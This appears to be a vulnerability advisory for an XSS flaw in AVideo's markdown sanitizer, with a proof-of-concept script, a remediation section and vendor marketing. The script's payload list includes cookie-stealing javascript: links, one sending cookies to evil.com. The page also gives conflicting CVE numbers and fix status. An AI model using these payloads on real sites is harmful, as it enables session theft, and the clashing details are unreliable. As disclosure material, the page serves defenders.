Summary
The incomplete XSS fix in AVideo's ParsedownSafeWithLinks class overrides inlineMarkup for raw HTML but does not override inlineLink() or inlineUrlTag(), allowing javascript: URLs in markdown link syntax to bypass sanitization.
Affected Package
- Ecosystem: Other
- Package: AVideo
- Affected versions: < commit 3ae02fa24093
- Patched versions: >= commit 3ae02fa24093
Details
In objects/functionsSecurity.php, the ParsedownSafeWithLinks class:
- Overrides
blockMarkup()-- blocks non-<a>/<img>HTML tags - Overrides
inlineMarkup()-- sanitizes<a href=...>and<img src=...>in raw HTML, including an href whitelist
But the base Parsedown.php class has two additional methods that generate <a> tags:
inlineLink()(line ~1388) -- processes[text](url)markdown syntax, setshref= URL directlyinlineUrlTag()(line ~1558) -- processes<URL>auto-link syntax, setshref= URL directly
Neither is overridden by ParsedownSafeWithLinks, so [Click me](javascript:alert(document.cookie)) produces <a href="javascript:alert(document.cookie)">Click me</a> without any sanitization.
The fix sanitizes raw HTML <a> tags via inlineMarkup but misses the markdown-native link syntax ([text](url)) and auto-link syntax (<url>) which produce <a> tags through different code paths in the base Parsedown class.
PoC
"""
CVE-2026-33500 - Incomplete XSS fix in AVideo ParsedownSafeWithLinks
Tests REAL vulnerable code from:
objects/functionsSecurity.php (commit f154167, pre-fix 3ae02fa)
vendor/erusev/parsedown/Parsedown.php
The ParsedownSafeWithLinks class overrides:
- blockMarkup (blocks non-a/img HTML)
- inlineMarkup (sanitizes <a> and <img> inline HTML)
- inlineLink is NOT overridden (markdown [text](url) syntax)
But the base Parsedown class has inlineLink() at line 1388 which creates
<a href="URL"> from markdown [text](url) without any href sanitization.
Since ParsedownSafeWithLinks does NOT override inlineLink(), a malicious
javascript: URL in markdown link syntax passes through unsanitized.
Additionally, inlineUrlTag() at line 1558 handles <URL> auto-link syntax
and creates <a href="URL"> without sanitization either.
"""
import re
import sys
import os
src_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'src')
parsedown_src = open(os.path.join(src_dir, 'Parsedown.php')).read()
security_src = open(os.path.join(src_dir, 'functionsSecurity.php')).read()
print("=" * 60)
print("CVE-2026-33500: AVideo ParsedownSafeWithLinks XSS Bypass PoC")
print("=" * 60)
print()
has_class = 'ParsedownSafeWithLinks' in security_src
has_block_markup = 'function blockMarkup' in security_src
has_inline_markup = 'function inlineMarkup' in security_src
has_inline_link_override = 'function inlineLink' in security_src
has_inline_url_tag_override = 'function inlineUrlTag' in security_src
base_has_inline_link = 'function inlineLink' in parsedown_src
base_has_inline_url_tag = 'function inlineUrlTag' in parsedown_src
print("[*] ParsedownSafeWithLinks class found: " + str(has_class))
print("[*] Overrides blockMarkup: " + str(has_block_markup))
print("[*] Overrides inlineMarkup: " + str(has_inline_markup))
print("[*] Overrides inlineLink: " + str(has_inline_link_override))
print("[*] Overrides inlineUrlTag: " + str(has_inline_url_tag_override))
print()
print("[*] Base Parsedown has inlineLink: " + str(base_has_inline_link))
print("[*] Base Parsedown has inlineUrlTag: " + str(base_has_inline_url_tag))
print()
if not has_inline_link_override and base_has_inline_link:
print("[+] BYPASS FOUND: inlineLink NOT overridden!")
print(" Markdown syntax [text](javascript:...) bypasses sanitization")
print()
if not has_inline_url_tag_override and base_has_inline_url_tag:
print("[+] BYPASS FOUND: inlineUrlTag NOT overridden!")
print(" Auto-link syntax <javascript:...> bypasses sanitization")
print()
def simulate_parsedown_inline_link(markdown_text):
match = re.match(r'\[([^\]]*)\]\(([^)]+)\)', markdown_text)
if match:
text = match.group(1)
href = match.group(2)
return f'<a href="{href}">{text}</a>'
return None
payloads = [
"[Click me](javascript:alert(document.cookie))",
"[XSS](javascript:fetch('https://evil.com/steal?c='+document.cookie))",
"[Data URI](data:text/html,<script>alert(1)</script>)",
"[VBScript](vbscript:MsgBox(1))",
]
vuln_count = 0
print("[*] Testing markdown link payloads through base inlineLink():")
print()
for payload in payloads:
result = simulate_parsedown_inline_link(payload)
if result and ('javascript:' in result or 'data:' in result or 'vbscript:' in result):
print(f" BYPASS: {payload}")
print(f" Output: {result}")
vuln_count += 1
else:
print(f" BLOCKED: {payload}")
print()
print()
if vuln_count > 0 and not has_inline_link_override:
print("VULNERABILITY CONFIRMED")
sys.exit(0)
else:
print("VULNERABILITY NOT CONFIRMED")
sys.exit(1)
Steps to reproduce:
git clone https://github.com/WWBN/AVideo /tmp/AVideo_testcd /tmp/AVideo_test && git checkout 3ae02fa240939dbefc5949d64f05790fd25d728d~1python3 poc.py
Expected output:
VULNERABILITY CONFIRMED
javascript: URLs in markdown [text](url) link syntax bypass sanitization since inlineLink() is not overridden.
Suggested Remediation
Override inlineLink() and inlineUrlTag() in ParsedownSafeWithLinks to apply the same href protocol whitelist (https?://, mailto:, /, #) that inlineMarkup already applies to raw HTML <a> tags. Reject any href that does not match the whitelist.
Impact
An attacker can inject javascript: URLs via markdown link syntax in any user-generated content field that uses ParsedownSafeWithLinks (comments, descriptions, etc.). When another user clicks the rendered link, the attacker's JavaScript executes in their browser session, enabling session hijacking, account takeover, and data theft.
Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.
CVE-2026-41063 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-41063? CVE-2026-41063 is a medium-severity cross-site scripting (XSS) vulnerability in wwbn/avideo (composer), affecting versions <= 29.0. No fixed version is listed yet. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
- How severe is CVE-2026-41063? CVE-2026-41063 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-41063? wwbn/avideo (composer) versions <= 29.0 is affected.
- Is there a fix for CVE-2026-41063? No fixed version is listed for CVE-2026-41063 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-41063 exploitable, and should I be worried? Whether CVE-2026-41063 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-41063 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-41063? No fixed version is listed yet. In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.